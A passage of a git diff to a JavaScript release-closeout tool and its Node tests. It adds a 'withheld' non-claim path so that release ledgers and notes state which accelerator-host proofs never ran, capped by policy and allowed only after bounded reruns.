graph.non_claim_policy; + for (const host of nonClaimPolicy?.hosts ?? []) { + for (const cellId of host.withheld_cells ?? []) nonClaimHostByCell.set(cellId, host); + } + for (const cell of cells) { + const host = nonClaimHostByCell.get(cell.id); + if (!host) continue; + cell.non_claim = { + host: host.id, + reason: nonClaimPolicy.reason, + runtime_execution: nonClaimPolicy.runtime_execution, + annotation: nonClaimPolicy.annotation, + maximum_run_attempts: nonClaimPolicy.maximum_run_attempts, + unavailable_producer_workflow: host.unavailable_producer_workflow, + unavailable_producer_job_name: host.unavailable_producer_job_name, + producer_workflow: nonClaimPolicy.producer_workflow, + producer_job: nonClaimPolicy.producer_job, + producer_job_name: nonClaimPolicy.producer_job_name, + // One container per phase: a phase's trusted producer map authorizes every manifest in the + // container it downloads, so a cross-phase container would carry an unowned manifest. + producer_artifact: host.producer_artifacts[cell.phase], + }; + } return cells; } @@ -150,6 +174,86 @@ export function resolveReleaseCellConstraints(cell, producerRunAttempt) { ])); } +/// The producer identity a withheld cell is authenticated against. A dead host cannot sign its own +/// absence, so the recorded non-claim is produced by a separate hosted job with its own artifact +/// name; everything else about the cell's identity -- target, backend, runner, host -- still has to +/// describe the proof that did not happen. +export function resolveReleaseCellNonClaimConstraints(cell, producerRunAttempt) { + const attempt = text(producerRunAttempt, "producer run attempt"); + if (!/^[1-9]\d*$/u.test(attempt)) fail("producer run attempt must be a positive integer"); + if (!cell.non_claim) fail(`closeout cell ${cell.id} does not admit a withheld non-claim`); + return { + producer_workflow: cell.non_claim.producer_workflow, + producer_job: cell.non_claim.producer_job, + producer_job_name: cell.non_claim.producer_job_name, + producer_artifact: cell.non_claim.producer_artifact.replaceAll("{attempt}", attempt), + }; +} + +export function isWithheldManifest(manifest) { + return manifest?.evidence?.status === "withheld"; +} + +/// A withheld cell has to *say* what it is not claiming. The recorded non-claim names the host that +/// never reported, quotes the exact Actions annotation the recovery contract keyed on, and lists +/// every claim the missing proof would have carried. A cell that omits any of that, or that carries +/// a non-claim while still asserting a pass, is a validation failure rather than a quiet downgrade. +function nonClaimProblems({ manifest, cell, graph, withheld }) { + const problems = []; + if (!withheld) { + if (manifest.non_claim !== undefined) { + problems.push("only a withheld cell may carry a non-claim"); + } + return problems; + } + if (!cell.non_claim) { + problems.push(`closeout cell ${cell.id} does not admit a withheld non-claim`); + return problems; + } + let nonClaim; + try { + nonClaim = object(manifest.non_claim, `${cell.id}.non_claim`); + } catch (error) { + problems.push(error.message); + return problems; + } + const expected = { + host: cell.non_claim.host, + runtime_execution: cell.non_claim.runtime_execution, + non_claim_reason: cell.non_claim.reason, + annotation: cell.non_claim.annotation, + unavailable_producer_workflow: cell.non_claim.unavailable_producer_workflow, + unavailable_producer_job_name: cell.non_claim.unavailable_producer_job_name, + }; + for (const [key, value] of Object.entries(expected)) { + if (nonClaim[key] !== value) problems.push(`non-claim ${key} must equal ${String(value)}`); + } + let withheldClaims = []; + try { + withheldClaims = transitiveClaims(graph, cell.claim).map(({ id }) => id).sort(); + } catch (error) { + problems.push(error.message); + } + const declared = Array.isArray(nonClaim.withheld_claims) + ? [...nonClaim.withheld_claims].map(String).sort() + : null; + if (declared === null || JSON.stringify(declared) !== JSON.stringify(withheldClaims)) { + problems.push(`non-claim withheld_claims must name ${withheldClaims.join(", ")}`); + } + // Withholding is the end of the bounded recovery path, never a shortcut around it: a non-claim + // recorded before the automatic reruns are spent would let one flaky minute drop a claim. + const attempt = String(nonClaim.run_attempt ?? ""); + if (!/^[1-9]\d*$/u.test(attempt) || Number(attempt) < cell.non_claim.maximum_run_attempts) { + problems.push( + `non-claim run_attempt must reach the ${cell.non_claim.maximum_run_attempts} attempt recovery bound`, + ); + } + if (manifest.evidence?.identity?.producer_run_attempt !== attempt) { + problems.push("non-claim run_attempt must match the producing run attempt"); + } + return problems; +} + function manifestProblems({ manifest, cell, graph, graphSha256, version }) { const problems = []; if (manifest.schema !== graph.closeout.manifest_schema) { @@ -181,12 +285,20 @@ function manifestProblems({ manifest, cell, graph, graphSha256, version }) { problems.push(`manifest identity ${key} does not match ${formats[key]}`); } } + const withheld = isWithheldManifest(manifest); let resolvedConstraints = cell.identity_constraints; try { resolvedConstraints = resolveReleaseCellConstraints(cell, identity.producer_run_attempt); + if (withheld) { + resolvedConstraints = { + ...resolvedConstraints, + ...resolveReleaseCellNonClaimConstraints(cell, identity.producer_run_attempt), + }; + } } catch (error) { problems.push(error.message); } + problems.push(...nonClaimProblems({ manifest, cell, graph, withheld })); for (const [key, expected] of Object.entries(resolvedConstraints)) { if (identity[key] !== expected) { problems.push(`manifest identity ${key} must equal ${expected}`); @@ -419,6 +531,13 @@ function trustedProducerIndex({ errors.push(`trusted producer map is missing ${cell.id}`); continue; } + const nonClaimRow = row.non_claim === true; + if (row.non_claim !== undefined && typeof row.non_claim !== "boolean") { + errors.push(`trusted producer map ${cell.id} non_claim must be a boolean`); + } + if (nonClaimRow && !cell.non_claim) { + errors.push(`trusted producer map ${cell.id} does not admit a withheld non-claim`); + } for (const key of [ "producer_workflow", "producer_job", @@ -432,7 +551,12 @@ function trustedProducerIndex({ } let constrained; try { - constrained = resolveReleaseCellConstraints(cell, row.producer_run_attempt)[key]; + constrained = nonClaimRow && cell.non_claim + ? { + ...resolveReleaseCellConstraints(cell, row.producer_run_attempt), + ...resolveReleaseCellNonClaimConstraints(cell, row.producer_run_attempt), + }[key] + : resolveReleaseCellConstraints(cell, row.producer_run_attempt)[key]; } catch (error) { errors.push(`trusted producer map ${cell.id} ${error.message}`); } @@ -534,6 +658,11 @@ function producerAuthenticationProblems(manifest, trustedProducer, reusedCommit) if (!trustedProducer) return ["manifest producer is absent from the trusted producer map"]; const identity = manifest.evidence?.identity ?? {}; const problems = []; + // The producer map and the manifest have to agree about which one of the two is being recorded. + // Disagreement is how a real proof's producer could otherwise be paired with a withheld manifest. + if ((trustedProducer.non_claim === true) !== isWithheldManifest(manifest)) { + problems.push("manifest withheld state does not match the trusted producer map"); + } for (const key of [ "producer_workflow", "producer_job", @@ -612,6 +741,66 @@ function trustedExceptionInput({ document, graph, graphSha256, gitIdentity, vers }; } +/// Every claim a cell carries, including the ones it only inherits. Withholding one accelerator +/// proof therefore withholds the whole chain that rested on it, spelled out by name in the ledger. +export function releaseCellWithheldClaims(graph, cell) { + return transitiveClaims(graph, cell.claim).map(({ id }) => id).sort(); +} + +const PASSING_CELL_STATUSES = new Set(["pass", "pass_with_exception"]); + +/// How much of a release may be unproven and still publish. +/// +/// A single withheld host is a bounded, recorded loss: the other hosts still prove the claim, and +/// the ledger says which one did not. Withholding *most* of a release is a different thing +/// entirely -- a release nothing vouched for -- and the earlier shape of this closeout could not +/// tell the two apart, because it only ever consulted missing and failed cells. Both bounds below +/// come from `non_claim_policy.withhold_policy` in release-claims.json, so the threshold is data a +/// reader can check against the ledger rather than a constant buried here. +/// +/// The return value also splits the claims a withheld cell rests on into the ones nothing else +/// proves and the ones another host still proves, because a single unioned list is false in one +/// direction or the other for every release that withholds anything. +function assessWithheldClaims({ graph, cells, ledgerCells, withheldHosts }) { + const policy = graph.non_claim_policy.withhold_policy; + const problems = []; + // A withheld row that names no host would not be counted against the cap at all, which is the + // one way a capped policy could still be evaded by an absence. + for (const row of ledgerCells.filter(({ status }) => status === "withheld")) { + const host = row.non_claim?.host; + if (typeof host !== "string" || host === "") { + problems.push(`withheld cell ${row.id} names no host to count against the withhold cap`); + } + } + const maximum = policy.maximum_withheld_hosts; + if (withheldHosts.length > maximum) { + problems.push( + `withheld hosts ${withheldHosts.join(", ")} exceed the ${maximum}-host withhold cap`, + ); + } + const claimOfCell = new Map(cells.map(({ id, claim }) => [id, claim])); + const provenClaims = new Set(ledgerCells + .filter(({ status }) => PASSING_CELL_STATUSES.has(status)) + .map(({ id }) => claimOfCell.get(id)) + .filter((claim) => claim !== undefined)); + const phaseClaims = new Set(cells.map(({ claim }) => claim)); + for (const claimId of policy.claims_requiring_proof) { + // A claim this phase never closes cannot be withheld here either, so it is not this phase's + // business. Every claim the phase does close has to keep at least one cell that actually ran. + if (!phaseClaims.has(claimId)) continue; + if (provenClaims.has(claimId)) continue; + problems.push(`claim ${claimId} requires proof but no cell proved it`); + } + const touched = [...new Set(ledgerCells + .filter(({ status }) => status === "withheld") + .flatMap(({ withheld_claims: rows }) => rows ?? []))]; + return { + problems, + withheld_claims: touched.filter((claimId) => !provenClaims.has(claimId)).sort(), + partially_withheld_claims: touched.filter((claimId) => provenClaims.has(claimId)).sort(), + }; +} + function transitiveClaims(graph, claimId) { const claims = new Map(graph.claims.map((claim) => [claim.id, claim])); const ordered = []; @@ -729,6 +918,11 @@ function dependencyValidationProblems({ cell, cells, manifests, graph, problemsB if ((problemsByCell.get(dependency.id) ?? []).length > 0) { problems.push(`dependency cell ${dependency.id} failed closeout validation`); } + // A withheld dependency is the whole point of the rule: a cell that still wants to pass while + // something it rests on was never proven has to fail loudly, not inherit a quiet pass. + if (isWithheldManifest(manifests.get(dependency.id)) && !isWithheldManifest(focal)) { + problems.push(`dependency cell ${dependency.id} is withheld`); + } } return problems; } @@ -1053,6 +1247,17 @@ export function evaluateReleaseCloseout({ status: "fail", failures: [...new Set(problems)].sort(), }; + } else if (isWithheldManifest(manifest)) { + // A withheld cell is never handed to the claim evaluator: that evaluator only knows how to + // answer "is this claim proven", and the honest answer here is "nobody asked it". + evaluation = { + schema: MANIFEST_EVALUATION_SCHEMA, + cell_id: cell.id, + evidence_cells: [cell.id], + status: "withheld", + withheld_claims: transitiveClaims(graph, cell.claim).map(({ id }) => id).sort(), + non_claim: canonicalReleaseClaimValue(manifest.non_claim), + }; } else { try { evaluation = evaluateCell({ @@ -1095,10 +1300,24 @@ export function evaluateReleaseCloseout({ evaluation: evaluationRecord, ...(manifest.archive ? { archive: canonicalReleaseClaimValue(manifest.archive) } : {}), ...(manifest.comparison ? { comparison: canonicalReleaseClaimValue(manifest.comparison) } : {}), + ...(evaluation.status === "withheld" + ? { + non_claim: canonicalReleaseClaimValue(manifest.non_claim), + withheld_claims: [...evaluation.withheld_claims], + } + : {}), }); } const missingCells = ledgerCells.filter(({ status }) => status === "missing").map(({ id }) => id); const failedCells = ledgerCells.filter(({ status }) => status === "fail").map(({ id }) => id); + const withheldRows = ledgerCells.filter(({ status }) => status === "withheld"); + const withheldCells = withheldRows.map(({ id }) => id); + const withheldHosts = [...new Set(withheldRows.map(({ non_claim: nonClaim }) => nonClaim?.host) + .filter((host) => typeof host === "string" && host !== ""))].sort(); + const withheld = assessWithheldClaims({ graph, cells, ledgerCells, withheldHosts }); + const withheldClaims = withheld.withheld_claims; + const partiallyWithheldClaims = withheld.partially_withheld_claims; + inputErrors.push(...withheld.problems); inputErrors.sort(); const decision = inputErrors.length === 0 && missingCells.length === 0 && failedCells.length === 0 ? "accept" @@ -1115,6 +1334,13 @@ export function evaluateReleaseCloseout({ producer_provenance_sha256: digest(canonicalJson(trustedProducers)), trusted_exceptions_sha256: digest(canonicalJson(trustedExceptionDocument)), cells: ledgerCells, + withheld_cells: withheldCells, + withheld_hosts: withheldHosts, + // Literal in both directions: `withheld_claims` is what nothing in this phase proved, and + // `partially_withheld_claims` is what a withheld cell rested on but another cell still proved. + withheld_claims: withheldClaims, + partially_withheld_claims: partiallyWithheldClaims, + withhold_policy: canonicalReleaseClaimValue(graph.non_claim_policy.withhold_policy), input_errors: inputErrors, }; const summary = { @@ -1131,9 +1357,15 @@ export function evaluateReleaseCloseout({ passed: ledgerCells.filter(({ status }) => new Set(["pass", "pass_with_exception"]).has(status)).length, failed: failedCells.length, missing: missingCells.length, + withheld: withheldCells.length, }, failed_cells: failedCells, missing_cells: missingCells, + withheld_cells: withheldCells, + withheld_hosts: withheldHosts, + withheld_claims: withheldClaims, + partially_withheld_claims: partiallyWithheldClaims, + withhold_policy: canonicalReleaseClaimValue(graph.non_claim_policy.withhold_policy), input_errors: inputErrors, }; return { diff --git a/scripts/tests/codestory-release-cell-manifest.test.mjs b/scripts/tests/codestory-release-cell-manifest.test.mjs index dfdddd0f8..8f1d3c701 100644 --- a/scripts/tests/codestory-release-cell-manifest.test.mjs +++ b/scripts/tests/codestory-release-cell-manifest.test.mjs @@ -1,5 +1,6 @@ import assert from "node:assert/strict"; -import { mkdtempSync, writeFileSync } from "node:fs"; +import { execFileSync, spawnSync } from "node:child_process"; +import { mkdtempSync, readFileSync, readdirSync, writeFileSync } from "node:fs"; import os from "node:os"; import path from "node:path"; import test from "node:test"; @@ -394,3 +395,267 @@ test("reused evidence keeps every same-run trust requirement", () => { missing.artifacts = []; assert.throws(withReuse(missing), /must retain one/u); }); + +// ── Withheld accelerator claims ───────────────────────────────────────────────────────────── + +const nonClaimPolicy = graph.non_claim_policy; +const linuxHost = nonClaimPolicy.hosts.find(({ id }) => id === "linux-x64-vulkan"); + +const withheldAttempt = String(nonClaimPolicy.maximum_run_attempts); + +/// The Actions job evidence the closeout collects for itself: the annotation, the empty step +/// conclusions, and the log-blob probe. `signature` picks which of the two shapes a failed Linux +/// proof has, and only one of them may route a cell into the withheld lane. +function lostHostEvidence({ signature = "lost", executions = nonClaimPolicy.maximum_run_attempts } = {}) { + const rows = []; + for (let attempt = 1; attempt <= executions; attempt += 1) { + rows.push({ + id: 8000 + attempt, + name: `linux-vulkan-proof / ${linuxHost.unavailable_producer_job_name}`, + status: "completed", + conclusion: "failure", + run_attempt: String(attempt), + log_uploaded: signature !== "lost", + annotations: signature === "lost" + ? [{ message: nonClaimPolicy.annotation }] + : [{ message: "Process completed with exit code 1." }], + steps: signature === "lost" + ? [ + { name: "Checkout exact source", status: "completed", conclusion: "success" }, + { name: "Prove offline Linux Vulkan retrieval", status: "completed", conclusion: null }, + ] + : [{ name: "Prove offline Linux Vulkan retrieval", status: "completed", conclusion: "failure" }], + }); + } + return rows; +} + +/// Actions metadata for a run whose Linux proof did not succeed and whose hosted non-claim job did. +/// The run is at the recovery bound, because a cell may only be withheld once that bound is spent. +function withheldRunMetadata(phase, { + hostConclusion = "failure", + withNonClaimArtifact = true, + jobEvidence = lostHostEvidence(), +} = {}) { + const metadata = actionsMetadata(phase); + for (const jobs of Object.values(metadata.jobsByAttempt)) { + for (const job of jobs) { + if (job.name.endsWith(linuxHost.unavailable_producer_job_name)) job.conclusion = hostConclusion; + } + } + if (hostConclusion !== "success") { + const lostArtifacts = new Set(linuxHost.withheld_cells.map((id) => + resolveReleaseCellConstraints(cell(id), "1").producer_artifact)); + metadata.artifacts = metadata.artifacts.filter(({ name }) => !lostArtifacts.has(name)); + } + metadata.jobsByAttempt[withheldAttempt].push({ + id: 9001, + run_id: 12345, + run_attempt: withheldAttempt, + head_sha: gitIdentity.commit, + name: `Release / ${nonClaimPolicy.producer_job_name}`, + status: "completed", + conclusion: "success", + started_at: "2026-07-19T13:00:00.000Z", + completed_at: "2026-07-19T13:10:00.000Z", + }); + if (withNonClaimArtifact) { + metadata.artifacts.push({ + id: 9002, + name: linuxHost.producer_artifacts.pre_publish.replaceAll("{attempt}", withheldAttempt), + digest: `sha256:${"9".repeat(64)}`, + size_in_bytes: 1024, + expired: false, + created_at: "2026-07-19T13:05:00.000Z", + expires_at: "2026-08-18T12:05:00.000Z", + workflow_run: { id: 12345, head_sha: gitIdentity.commit }, + }); + } + return { ...metadata, jobEvidence }; +} + +test("a lost protected host routes only its own cells to the non-claim producer", () => { + const map = buildTrustedProducerMap({ + graph, + gitIdentity, + phase: "pre_publish", + runId: "12345", + currentRunAttempt: withheldAttempt, + ...withheldRunMetadata("pre_publish"), + }); + const byCell = new Map(map.producers.map((row) => [row.cell_id, row])); + for (const cellId of ["accelerator_execution:linux-x64-vulkan", "candidate_installed_behavior:linux-x64"]) { + assert.equal(byCell.get(cellId).non_claim, true, cellId); + assert.equal(byCell.get(cellId).producer_job, nonClaimPolicy.producer_job); + assert.equal( + byCell.get(cellId).producer_artifact, + linuxHost.producer_artifacts.pre_publish.replaceAll("{attempt}", withheldAttempt), + ); + } + // Every host that did report keeps its real proof producer, and nothing else is marked withheld. + assert.deepEqual( + map.producers.filter(({ non_claim: withheld }) => withheld === true) + .map(({ cell_id: id }) => id).sort(), + ["accelerator_execution:linux-x64-vulkan", "candidate_installed_behavior:linux-x64"], + ); + assert.equal(byCell.get("accelerator_execution:windows-x64-vulkan").non_claim, undefined); + assert.equal(byCell.get("package_identity:linux-x64").non_claim, undefined); +}); + +test("the non-claim producer is never substituted for a host that reported", () => { + // Success on the protected host keeps the proof producer even when a non-claim artifact exists. + const proven = buildTrustedProducerMap({ + graph, + gitIdentity, + phase: "pre_publish", + runId: "12345", + currentRunAttempt: withheldAttempt, + ...withheldRunMetadata("pre_publish", { hostConclusion: "success", jobEvidence: [] }), + }); + assert.deepEqual(proven.producers.filter(({ non_claim: withheld }) => withheld === true), []); + + // Without a recorded non-claim there is nothing to fall back to, and the run stays broken. + assert.throws(() => buildTrustedProducerMap({ + graph, + gitIdentity, + phase: "pre_publish", + runId: "12345", + currentRunAttempt: withheldAttempt, + ...withheldRunMetadata("pre_publish", { withNonClaimArtifact: false }), + }), /must retain one release-cell-nonclaim-prepublish-linux-x64-vulkan-attempt-2 artifact/u); +}); + +test("the closeout reads the lost-runner signature itself before it trusts a non-claim", () => { + // The trust boundary decides whether a cell is authenticated against the real proof or against + // the non-claim producer. Routing on "the host job is not green" made the producer's own refusal + // to upload the single point of failure; the map now refuses the routing on its own evidence. + const withEvidence = (jobEvidence) => () => buildTrustedProducerMap({ + graph, + gitIdentity, + phase: "pre_publish", + runId: "12345", + currentRunAttempt: withheldAttempt, + ...withheldRunMetadata("pre_publish", { jobEvidence }), + }); + + // A proof that ran and failed its own assertions is red, and stays red. + assert.throws( + withEvidence(lostHostEvidence({ signature: "assertion" })), + /failed its own assertions, so accelerator_execution:linux-x64-vulkan may not be withheld/u, + ); + // One loss is not a spent recovery bound, however many attempts the run has had. + assert.throws( + withEvidence(lostHostEvidence({ executions: 1 })), + /has been lost 1 time\(s\).*recovery bound is spent/su, + ); + // No evidence at all is refused outright rather than defaulting to the permissive route. + assert.throws(withEvidence(null), /cannot route .* to a non-claim without its own Actions job evidence/u); + assert.throws(withEvidence([]), /has no failed execution of Packaged Linux Vulkan engine/u); + + // And the honest shape still routes. + const routed = withEvidence(lostHostEvidence())(); + assert.deepEqual( + routed.producers.filter(({ non_claim: withheld }) => withheld === true) + .map(({ cell_id: id }) => id).sort(), + ["accelerator_execution:linux-x64-vulkan", "candidate_installed_behavior:linux-x64"], + ); +}); + +test("withheld manifests carry the populated non-claim and refuse an unspent retry bound", () => { + const bound = String(nonClaimPolicy.maximum_run_attempts); + const directory = mkdtempSync(path.join(os.tmpdir(), "codestory-release-nonclaim-")); + const archive = path.join(directory, "codestory-cli-v0.16.0-linux-x64.tar.gz"); + writeFileSync(archive, "release archive bytes"); + const selected = cell("accelerator_execution:linux-x64-vulkan"); + const build = (attempt) => produceReleaseCellManifest({ + graph, + gitIdentity, + version, + cell: selected, + identity: { native_engine: "coderank_q8_embedded" }, + producer: { + producer_workflow: nonClaimPolicy.producer_workflow, + producer_job: nonClaimPolicy.producer_job, + producer_job_name: nonClaimPolicy.producer_job_name, + producer_run_id: "12345", + producer_run_attempt: attempt, + producer_artifact: linuxHost.producer_artifacts.pre_publish.replaceAll("{attempt}", attempt), + }, + observedAt, + archivePath: archive, + nonClaim: { + host: linuxHost.id, + runtime_execution: nonClaimPolicy.runtime_execution, + non_claim_reason: nonClaimPolicy.reason, + annotation: nonClaimPolicy.annotation, + unavailable_producer_workflow: linuxHost.unavailable_producer_workflow, + unavailable_producer_job_name: linuxHost.unavailable_producer_job_name, + withheld_claims: ["accelerator_execution", "package_identity", "source_behavior"], + run_attempt: attempt, + }, + }); + + const manifest = build(bound); + assert.equal(manifest.evidence.status, "withheld"); + assert.equal(manifest.non_claim.runtime_execution, "not_proven_by_package"); + assert.equal(manifest.non_claim.non_claim_reason, "accelerator_host_unavailable"); + // The identity still describes the proof that did not happen, so the ledger names the host. + assert.equal(manifest.evidence.identity.backend, "Vulkan"); + assert.equal(manifest.evidence.identity.runner, "codestory-linux-vulkan"); + assert.equal(manifest.evidence.identity.producer_job, nonClaimPolicy.producer_job); + + assert.throws(() => build("1"), /recovery bound/u); +}); + +test("withhold writes one container per closeout phase, never a phase-mixed one", () => { + // Each phase's trusted producer map authorizes only the manifests it selected, so a container + // holding another phase's cell is rejected at download time and the release is lost anyway. + const directory = mkdtempSync(path.join(os.tmpdir(), "codestory-release-withhold-")); + const archive = path.join(directory, "codestory-cli-v0.16.0-linux-x64.tar.gz"); + writeFileSync(archive, "release archive bytes"); + const identityPath = path.join(directory, "identity.json"); + writeFileSync(identityPath, JSON.stringify({ + installer: "candidate_managed_plugin", + native_engine: "coderank_q8_embedded", + })); + const outDir = path.join(directory, "cells"); + const head = execFileSync("git", ["rev-parse", "HEAD"], { cwd: root, encoding: "utf8" }).trim(); + const result = spawnSync(process.execPath, [ + path.join(root, "scripts/codestory-release-cell-manifest.mjs"), "withhold", + "--repo", root, + "--expected-sha", head, + "--version", version, + "--host", "linux-x64-vulkan", + "--producer-run-id", "12345", + "--producer-run-attempt", String(nonClaimPolicy.maximum_run_attempts), + "--identity", identityPath, + "--archive", archive, + "--out-dir", outDir, + ], { encoding: "utf8" }); + assert.equal(result.status, 0, result.stderr); + + const expected = { + pre_publish: { + artifact: linuxHost.producer_artifacts.pre_publish, + cells: ["accelerator_execution:linux-x64-vulkan", "candidate_installed_behavior:linux-x64"], + }, + post_publish: { + artifact: linuxHost.producer_artifacts.post_publish, + cells: ["retrieval_readiness:linux-x64"], + }, + }; + assert.deepEqual(readdirSync(outDir).sort(), ["post_publish", "pre_publish"]); + for (const [phase, { artifact, cells }] of Object.entries(expected)) { + const written = readdirSync(path.join(outDir, phase)) + .map((name) => JSON.parse(readFileSync(path.join(outDir, phase, name), "utf8"))); + assert.deepEqual(written.map(({ cell_id: id }) => id).sort(), [...cells].sort(), phase); + for (const manifest of written) { + assert.equal(manifest.phase, phase); + assert.equal(manifest.evidence.status, "withheld"); + assert.equal( + manifest.evidence.identity.producer_artifact, + artifact.replaceAll("{attempt}", String(nonClaimPolicy.maximum_run_attempts)), + ); + } + } +}); diff --git a/scripts/tests/codestory-release-claims.test.mjs b/scripts/tests/codestory-release-claims.test.mjs index 9f135590a..e7876de2e 100644 --- a/scripts/tests/codestory-release-claims.test.mjs +++ b/scripts/tests/codestory-release-claims.test.mjs @@ -103,7 +103,7 @@ test("versioned claim graph has one deterministic digest and all declared contro assert.match(releaseClaimGraphDigest(graph), /^[0-9a-f]{64}$/u); assert.equal(positiveFixture().evidence[0].graph_sha256, releaseClaimGraphDigest(graph)); assert.equal(graph.claims.length, 8); - assert.equal(graph.graph_version, 7); + assert.equal(graph.graph_version, 8); assert.deepEqual( [...graph.standard_release_claims].sort(), [ @@ -177,15 +177,37 @@ test("public support, assets, and release notes derive from the package and clos "codestory-cli-v0.16.0-macos-arm64.tar.gz", "codestory-cli-v0.16.0-linux-x64.tar.gz", "SHA256SUMS.txt", + // The README tells a reader to consult the ledger rather than the platform table, so the + // machine-readable closeout summary has to ship with the release itself. + "release-closeout-summary.json", ], ); - assert.match(renderPublicSupport(graph), /Apple Silicon \\| Supported with Metal/u); - assert.match(renderPublicSupport(graph), /Windows x64 \\| Supported with Vulkan/u); - assert.match(renderPublicSupport(graph), /Linux x64 \\| Supported with Vulkan/u); - assert.match(renderPublicSupport(graph), /CPU-only Windows and Linux \\| Unsupported/u); - assert.match(renderReleasePlatformNotes(graph), /macOS 15\+ on Apple Silicon: supported with Metal/u); - assert.match(renderReleasePlatformNotes(graph), /Windows x64: supported with Vulkan/u); - assert.match(renderReleasePlatformNotes(graph), /Linux x64: supported with Vulkan/u); + assert.match(renderPublicSupport(graph), /Apple Silicon \| Supported with Metal/u); + assert.match(renderPublicSupport(graph), /Windows x64 \| Supported with Vulkan/u); + assert.match(renderPublicSupport(graph), /Linux x64 \| Supported with Vulkan/u); + assert.match(renderPublicSupport(graph), /CPU-only Windows and Linux \| Unsupported/u); + + // The release notes are a claim about one release, so they are rendered from that release's + // ledger. The graph alone can no longer produce them. + const proven = renderReleasePlatformNotes(graph, { withheld_cells: [] }); + assert.match(proven, /macOS 15\+ on Apple Silicon: supported with Metal/u); + assert.match(proven, /Windows x64: supported with Vulkan/u); + assert.match(proven, /Linux x64: supported with Vulkan/u); + assert.throws(() => renderReleasePlatformNotes(graph), /closeout ledger/u); + assert.throws(() => renderReleasePlatformNotes(graph, {}), /withheld_cells/u); + + const withheld = renderReleasePlatformNotes(graph, { + withheld_cells: [ + "accelerator_execution:linux-x64-vulkan", + "candidate_installed_behavior:linux-x64", + ], + }); + assert.match( + withheld, + /Linux x64: Vulkan not proven for this release \(accelerator_host_unavailable\)/u, + ); + assert.equal(/Linux x64: supported with Vulkan/u.test(withheld), false); + assert.match(withheld, /Windows x64: supported with Vulkan/u); }); test("positive fixture evaluates deterministically", () => { @@ -246,6 +268,70 @@ test("graph rejects ambiguous dependencies and unstructured proof lanes", () => /identity undeclared_identity must declare a format/u, ); + // A non-claim that withholds less than the lost host actually produced would leave a live claim + // resting on a proof that never ran, so the withheld set is checked against the graph itself. + const partialNonClaim = structuredClone(graph); + partialNonClaim.non_claim_policy.hosts.find(({ id }) => id === "linux-x64-vulkan") + .withheld_cells = ["accelerator_execution:linux-x64-vulkan"]; + assert.throws( + () => validateReleaseClaimGraph(partialNonClaim), + /must withhold exactly the cells Packaged Linux Vulkan engine produces/u, + ); + + const unboundedRecovery = structuredClone(graph); + unboundedRecovery.non_claim_policy.maximum_run_attempts = 12; + assert.throws( + () => validateReleaseClaimGraph(unboundedRecovery), + /maximum_run_attempts must be 2/u, + ); + + const softenedNonClaim = structuredClone(graph); + softenedNonClaim.non_claim_policy.runtime_execution = "assumed_from_prior_release"; + assert.throws( + () => validateReleaseClaimGraph(softenedNonClaim), + /runtime_execution must be not_proven_by_package/u, + ); + + // The withhold cap is data, and the graph refuses a cap that could leave nothing proven. A cap + // equal to the number of protected hosts makes "no accelerator was proven anywhere" a legal + // release, which is the whole thing the cap exists to make unrepresentable. + const uncappedWithholding = structuredClone(graph); + uncappedWithholding.non_claim_policy.withhold_policy.maximum_withheld_hosts = + uncappedWithholding.non_claim_policy.hosts.length; + assert.throws( + () => validateReleaseClaimGraph(uncappedWithholding), + /must leave at least one protected host proven/u, + ); + + const noCap = structuredClone(graph); + delete noCap.non_claim_policy.withhold_policy; + assert.throws(() => validateReleaseClaimGraph(noCap), /withhold_policy must be an object/u); + + const zeroCap = structuredClone(graph); + zeroCap.non_claim_policy.withhold_policy.maximum_withheld_hosts = 0; + assert.throws( + () => validateReleaseClaimGraph(zeroCap), + /maximum_withheld_hosts must be a positive integer/u, + ); + + // Dropping a claim a lost host can erase would make the cap silent about exactly that claim. + const unguardedClaim = structuredClone(graph); + unguardedClaim.non_claim_policy.withhold_policy.claims_requiring_proof = + unguardedClaim.non_claim_policy.withhold_policy.claims_requiring_proof + .filter((claimId) => claimId !== "accelerator_execution"); + assert.throws( + () => validateReleaseClaimGraph(unguardedClaim), + /claims_requiring_proof must include accelerator_execution/u, + ); + + const unmatchedHosts = structuredClone(graph); + unmatchedHosts.non_claim_policy.hosts = unmatchedHosts.non_claim_policy.hosts + .filter(({ id }) => id !== "linux-x64-vulkan"); + assert.throws( + () => validateReleaseClaimGraph(unmatchedHosts), + /must name exactly the protected accelerator instances/u, + ); + const mismatchedSupport = structuredClone(graph); mismatchedSupport.public_support.packages[0].target = "macos-x64"; assert.throws( diff --git a/scripts/tests/codestory-release-closeout.test.mjs b/scripts/tests/codestory-release-closeout.test.mjs index 699aebcd8..f0ea93a9d 100644 --- a/scripts/tests/codestory-release-closeout.test.mjs +++ b/scripts/tests/codestory-release-closeout.test.mjs @@ -1,4 +1,5 @@ import assert from "node:assert/strict"; +import { spawnSync } from "node:child_process"; import { createHash } from "node:crypto"; import { mkdirSync, mkdtempSync, readFileSync, readdirSync, writeFileSync } from "node:fs"; import os from "node:os"; @@ -9,7 +10,9 @@ import { deriveReleaseCells, evaluateReleaseCloseout, readReleaseCellArtifacts, + releaseCellWithheldClaims, resolveReleaseCellConstraints, + resolveReleaseCellNonClaimConstraints, writeReleaseCloseout, } from "../codestory-release-closeout.mjs"; import { @@ -94,10 +97,42 @@ function identityFor(cell, producerRunAttempt = "1") { return identity; } -function manifestsFor(phase, prePublishLedger = null) { +const nonClaimPolicy = graph.non_claim_policy; +const linuxHost = nonClaimPolicy.hosts.find(({ id }) => id === "linux-x64-vulkan"); + +function nonClaimFor(cell, host, attempt) { + return { + host: host.id, + runtime_execution: nonClaimPolicy.runtime_execution, + non_claim_reason: nonClaimPolicy.reason, + annotation: nonClaimPolicy.annotation, + unavailable_producer_workflow: host.unavailable_producer_workflow, + unavailable_producer_job_name: host.unavailable_producer_job_name, + withheld_claims: releaseCellWithheldClaims(graph, cell), + run_attempt: attempt, + }; +} + +/// Withholding is declared per host, so every helper takes the set of hosts a scenario lost. One +/// host is the ordinary outage; the multi-host forms exist because the withhold cap is only +/// observable when more than one host is gone at once. +function withheldHostList(withheldHost) { + if (withheldHost === null || withheldHost === undefined) return []; + return Array.isArray(withheldHost) ? withheldHost : [withheldHost]; +} + +function withheldHostOf(withheldHost, cellId) { + return withheldHostList(withheldHost).find((host) => host.withheld_cells.includes(cellId)) ?? null; +} + +function manifestsFor(phase, prePublishLedger = null, { attempt = "1", withheldHost = null } = {}) { const graphSha256 = releaseClaimGraphDigest(graph); return deriveReleaseCells(graph, phase).map((cell) => { - const identity = identityFor(cell); + const host = withheldHostOf(withheldHost, cell.id); + const withheld = host !== null; + const identity = withheld + ? { ...identityFor(cell, attempt), 